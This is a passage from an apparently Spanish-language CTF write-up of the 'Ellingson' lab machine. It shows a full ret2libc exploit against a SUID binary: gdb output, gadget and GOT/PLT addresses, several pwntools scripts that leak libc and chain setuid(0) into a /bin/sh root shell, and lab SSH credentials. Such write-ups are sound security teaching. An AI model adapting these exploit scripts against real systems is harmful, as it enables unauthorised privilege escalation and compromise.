=> 0x401618 <auth+261>:	ret
   0x401619 <main>:	push   rbp
   0x40161a <main+1>:	mov    rbp,rsp
   0x40161d <main+4>:	sub    rsp,0x10
   0x401621 <main+8>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe188 ("BBBBBBBB")
0008| 0x7fffffffe190 --> 0x0 
0016| 0x7fffffffe198 --> 0x0 
0024| 0x7fffffffe1a0 --> 0x1 
0032| 0x7fffffffe1a8 --> 0x7ffff7def24a (<__libc_start_call_main+122>:	mov    edi,eax)
0040| 0x7fffffffe1b0 --> 0x0 
0048| 0x7fffffffe1b8 --> 0x401619 (<main>:	push   rbp)
0056| 0x7fffffffe1c0 --> 0x100000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401618 in auth ()
```

El RIP, podemos ver que está a la espera de transladar las 8 "B".

Ahora explicaremos los pasos que vamos a seguir para la explotación del rect2libc

**Paso 1: Identificar la dirección de `puts` en la PLT (Procedure Linkage Table)**

```bash
objdump -D ./garbage | grep puts@plt
0000000000401050 <puts@plt>:
  401321:	e8 2a fd ff ff       	call   401050 <puts@plt>
  401334:	e8 17 fd ff ff       	call   401050 <puts@plt>
  4014c3:	e8 88 fb ff ff       	call   401050 <puts@plt>
  4015fa:	e8 51 fa ff ff       	call   401050 <puts@plt>
  40160d:	e8 3e fa ff ff       	call   401050 <puts@plt>
  401651:	e8 fa f9 ff ff       	call   401050 <puts@plt>
  40165d:	e8 ee f9 ff ff       	call   401050 <puts@plt>
  401669:	e8 e2 f9 ff ff       	call   401050 <puts@plt>
  401675:	e8 d6 f9 ff ff       	call   401050 <puts@plt>
  401681:	e8 ca f9 ff ff       	call   401050 <puts@plt>
  40168d:	e8 be f9 ff ff       	call   401050 <puts@plt>
  401699:	e8 b2 f9 ff ff       	call   401050 <puts@plt>
  40171c:	e8 2f f9 ff ff       	call   401050 <puts@plt>
```

#### Paso 2: **Encontrar la dirección de la función `puts` en la GOT (Global Offset Table)**

```bash
gdb-peda$ disassemble 0x401050
Dump of assembler code for function puts@plt:
   0x0000000000401050 <+0>:	jmp    QWORD PTR [rip+0x2fd2]        # 0x404028 <puts@got.plt>
   0x0000000000401056 <+6>:	push   0x2
   0x000000000040105b <+11>:	jmp    0x401020
End of assembler dump.
```

#### Paso 3: **Usar un Gadget `pop rdi` para cargar el valor de `puts` en RDI**

```bash
rop-tool gadget garbage | grep rdi
 0x000000000040179b -> pop rdi; ret ; 
```

**Paso 4:  Dirección del archivo principal (main) para poder reiniciar el programa y tener una segunda oportunidad de desbordarlo sin que se reinicie el ASLR.**

```bash
objdump -D garbage | grep '<main>'
0000000000401619 <main>:
```

Teniendo estas direcciones, vamos a empezar a crear el exploit. Crearemos una conexion SSH como margo y ejecutaremos el desbordamiento:

```bash
#!/usr/bin/env python3

from pwn import *

# Conexión SSH a la máquina objetivo
conn = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
binary = conn.process('garbage')

# Variables
offset = b"A" * 136      
rdi = p64(0x40179b)  # Dirección del gadget pop rdi
plt = p64(0x401050)  # Dirección de puts en la tabla PLT
got = p64(0x404028)  # Dirección de puts en la tabla GOT
main = p64(0x401619)  # Dirección de main

# Construcción de la cadena para el primer stage
payload = offset + rdi + got + plt

# Enviar el payload
binary.sendline(payload)

# Recibir la respuesta de la máquina
binary.recvuntil("access denied.\n")

# Obtener la dirección filtrada de puts
filt = u64(binary.recvline()[:-1].ljust(8, b'\x00'))

# Mostrar la dirección filtrada
log.success("Filt puts address: 0x%x" % filt)
```

Si ejecutamos el exploit tal y como lo tenemos, obtenemos la dirección filtrada:

<figure><img src="/files/mgXQSW5Y1dr1IPp31NyU" alt=""><figcaption></figcaption></figure>

Ahora, obtendremos el libc.

{% embed url="<https://github.com/niklasb/libc-database>" %}

Nos clonaremos este repositorio y nos meteremos dentro de él. Ejecutaremos el siguiente comando:

```bash
./get ubuntu
```

Esto descargará muchas versiones de la biblioteca `libc` que vienen con distintas versiones de Ubuntu. Puede tardar un poco, ya que baja muchos archivos `.so` y los descomprime.

```python
./find puts 9c0
ubuntu-glibc (libc6_2.27-3ubuntu1_amd64)
ubuntu-old-glibc (libc6_2.3.6-0ubuntu20_i386)
```

Se detectan **dos versiones de libc**, pero se elige la de **arquitectura x64**:

```
./download libc6_2.27-3ubuntu1_amd64
Getting libc6_2.27-3ubuntu1_amd64
  -> Location: http://archive.ubuntu.com/ubuntu/pool/main/g/glibc//libc6_2.27-3ubuntu1_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.27-3ubuntu1_amd64
```

Se transfiere la `libc.so.6` desde la máquina remota para buscar los símbolos necesarios:

```bash
scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 /tmp/
```

Obtenemos el offset de `puts`:

```bash
margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " puts@@GLIBC"
   422: 00000000000809c0   512 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
```

Instalamos la gema `one_gadget` para encontrar gadgets que nos den shell directamente:

```
gem install one_gadget
```

Seleccionamos el gadget:

```
one_gadget libs/libc6_2.27-3ubuntu1_amd64/libc.so.6
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
  
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
  
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
  
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
```

Probando distintas sh, la válida es la tercera.

Exploit final -> shell sin privilegios:

```python
#!/usr/bin/env python3

from pwn import *
conn = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
binary = conn.process('garbage')

offset = b"A" * 136
rdi = p64(0x40179b)
plt = p64(0x401050)
got = p64(0x404028)
main = p64(0x401619)

payload = offset + rdi + got + plt + main
binary.sendline(payload)
binary.recvuntil("access denied.\n")
filt = u64(binary.recvline()[:-1].ljust(8, b'\x00'))
log.success("Leaked puts address: 0x%x" % filt)
binary.recvuntil("Enter access password: ")

libc_puts = 0x809c0
libc_sh = 0x4f322

libc_base = filt - libc_puts
payload2 = offset + p64(libc_sh + libc_base)
binary.sendline(payload2)
binary.recvuntil("access denied.")
binary.interactive()
```

Si ejecutamos el exploit:&#x20;

<figure><img src="/files/3rLTviKXdn2NpxfYc9j3" alt=""><figcaption></figcaption></figure>

No tenemos privilegios máximos en la máquina. Aplicaremos permisos SUID a la shell:

```
readelf -s libs/libc6_2.27-3ubuntu1_amd64/libc.so.6 | grep " setuid@@GLIBC"
    23: 00000000000e5970   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5
```

Añadimos la direccion suid al exploit, de tal forma que nos quedaría:

```python
#!/usr/bin/env python2
from pwn import *

conn = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
binary = conn.process('garbage')

offset = b"A" * 136
rdi = p64(0x40179b)
plt = p64(0x401050)
got = p64(0x404028)
main = p64(0x401619)

payload = offset + rdi + got + plt + main
binary.sendline(payload)
binary.recvuntil("access denied.\n")
filt = u64(binary.recvline()[:-1].ljust(8, b'\x00'))
log.success("Leaked puts address: 0x%x" % filt)
binary.recvuntil("Enter access password: ")

libc_puts = 0x809c0
libc_sh = 0x4f322
libc_setuid  = 0xe5970
libc_base = filt - libc_puts

payload2 = offset + rdi + p64(0) + p64(libc_setuid + libc_base) + p64(libc_sh + libc_base)
binary.sendline(payload2)
binary.recvuntil("access denied.")
binary.interactive()
```

Ejecutamos el exploit y conseguimos la flag final y con ellos privilegios máximos.

<figure><img src="/files/1IHzpigY8C1eaGZAK1rt" alt=""><figcaption></figcaption></figure>

El exploit aprovecha un típico **ret2libc** con una combinación de gadgets para ejecutar `/bin/sh` con privilegios de root.

***

## Conclusión

La máquina *Ellingson* pone a prueba múltiples habilidades clave en el campo del hacking ético, combinando vectores de ataque web y explotación binaria avanzada. Comenzando con el abuso del modo de depuración de Flask expuesto a través de Nginx, se consigue la ejecución remota de código en el servidor. Esta primera brecha permite obtener una shell limitada como un usuario que, al pertenecer al grupo `adm`, tiene acceso a archivos sensibles como un backup del archivo `/etc/shadow`.

Aprovechando esta información, es posible realizar un movimiento lateral mediante el crackeo de contraseñas locales. Finalmente, el acceso a un binario SUID vulnerable permite escalar privilegios, aunque requiere sortear medidas de protección como ASLR y NX. Para lograrlo, se desarrolla una explotación `ret2libc` que filtra una dirección de `puts`, calcula la base de la libc y encadena gadgets para llamar a `setuid(0)` seguido de una shell interactiva.

En conjunto, *Ellingson* es una máquina completa que refuerza conceptos clave como ejecución remota de código en aplicaciones web, análisis de permisos y grupos en sistemas Linux, y explotación de binarios protegidos usando técnicas de Return Oriented Programming. Ideal para quienes quieren afianzar conocimientos avanzados de post-explotación y desarrollo de exploits.
